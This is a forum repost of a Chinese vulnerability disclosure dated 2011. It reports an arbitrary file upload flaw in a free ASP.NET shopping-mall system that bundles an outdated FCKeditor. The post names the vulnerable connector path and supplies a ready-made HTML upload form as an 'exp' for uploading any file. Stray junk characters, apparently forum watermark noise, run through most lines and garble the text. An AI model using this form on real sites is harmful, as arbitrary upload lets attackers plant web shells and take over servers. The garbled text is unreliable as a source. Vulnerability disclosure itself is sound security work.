披露状态：2011-07-19： 细节已通知厂商并且等待厂商处理中" T. \6 p- G" S& _- P
2011-07-20： 厂商已经主动忽略漏洞，细节向公众公开) W3 N3 _0 H1 W8 x& M0 A$ O
简要描述：这个号称中国首家ASP.NET免费开源商城购物系统。最新版本是4.7，竟然采用2.4版本以下的fckeditor编辑器。所以可以直接上传任意文件。
0 R- V. g; U, r 详细说明：其他版本我没测试，估计也是一样的问题5 c: w% {& O8 j0 m( M5 c( _/ w
http://127.0.0.1/controls/fckedi ... aspx/connector.aspx
3 l" [2 j) H( t: n 跳转到网站根目录上传任意文件。& ~* |' ~* {/ o7 c' y- o4 l1 g
漏洞证明：如果connector.aspx文件被删可用以下exp，copy以下代码另存为html，上传任意文件
* `( |# o/ L' P8 f W <form id="frmUpload" enctype="multipart/form-data" action="http://127.0.0.1/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">
% s5 m: [# M% a0 p Upload a new file:<br> Y ?5 D2 K4 R* {2 F x% B L
<input type="file" name="NewFile" size="50"><br>$ Z& H9 l5 ~/ \7 p% I
<input id="btnUpload" type="submit" value="Upload">
0 m, ?1 P8 h8 s* J: m: Y </form> |
发表于 2012-9-10 20:46:29
收藏
支持
反对